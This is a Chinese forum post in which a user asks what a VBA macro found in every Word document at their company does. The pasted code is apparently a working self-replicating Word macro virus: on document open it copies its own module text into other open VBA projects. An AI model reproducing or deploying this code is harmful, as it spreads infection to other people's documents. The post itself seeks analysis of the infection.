求分析莫名的VBA代码用途

Paune

大家能帮我看看这个VBA代码是干什么用的，现在我公司每个word文档里面都带有这么一段代码。

1. 
   
2. 
   
3. 
   
4. Private Sub Document_Open()
   
5. Dim MACROTEXT As String
   
6. 'Dim AA As VBComponent
   
7. For I = 1 To VBE.VBProjects.Count
   
8. On Error GoTo 11
   
9. P = VBE.VBProjects(I).FileName
   
10. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
    
11. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
    
12. 
    
13. R = InStrRev(P, "")
    
14. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
    
15. Set AA = VBE.VBProjects(I).VBComponents(1)
    
16. LOCALLINES = AA.CodeModule.CountOfLines
    
17. MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
    
18. Exit For
    
19. 
    
20. 
    
21. 11: Err.Clear
    
22. Next I
    
23. 
    
24. For I = 1 To VBE.VBProjects.Count
    
25. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
    
26. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
    
27. On Error GoTo 12
    
28. P = VBE.VBProjects(I).Name
    
29. R = InStrRev(P, "")
    
30. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
    
31. C = Mid(P, R + 1, Len(P) - R - S)
    
32. 12:
    
33. If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
    
34. Err.Clear
    
35. Set AA = VBE.VBProjects(I).VBComponents(1)
    
36. AA.CodeModule.AddFromString (MACROTEXT)
    
37.   
    
38. End If
    
39. Next I
    
40. 
    
41. End Sub
    
42. 
    
43. Private Sub Document_Open1()
    
44. Dim MACROTEXT As String
    
45. 'Dim AA As VBComponent
    
46. For I = 1 To VBE.VBProjects.Count
    
47. On Error GoTo 11
    
48. P = VBE.VBProjects(I).FileName
    
49. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
    
50. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
    
51. 
    
52. R = InStrRev(P, "")
    
53. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
    
54. C = Mid(P, R + 1, Len(P) - R - S)
    
55. If B = C Then
    
56. Set AA = VBE.VBProjects(I).VBComponents(1)
    
57. LOCALLINES = AA.CodeModule.CountOfLines
    
58. MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
    
59. Exit For
    
60. End If
    
61. 
    
62. 11: Err.Clear
    
63. Next I
    
64. 
    
65. For I = 1 To VBE.VBProjects.Count
    
66. B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
    
67. A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
    
68. On Error GoTo 12
    
69. P = VBE.VBProjects(I).Name
    
70. R = InStrRev(P, "")
    
71. S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
    
72. C = Mid(P, R + 1, Len(P) - R - S)
    
73. 12:
    
74. If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
    
75. Err.Clear
    
76. Set AA = VBE.VBProjects(I).VBComponents(1)
    
77. AA.CodeModule.AddFromString (MACROTEXT)
    
78.   
    
79. End If
    
80. Next I
    
81. 
    
82. End Sub
    

复制代码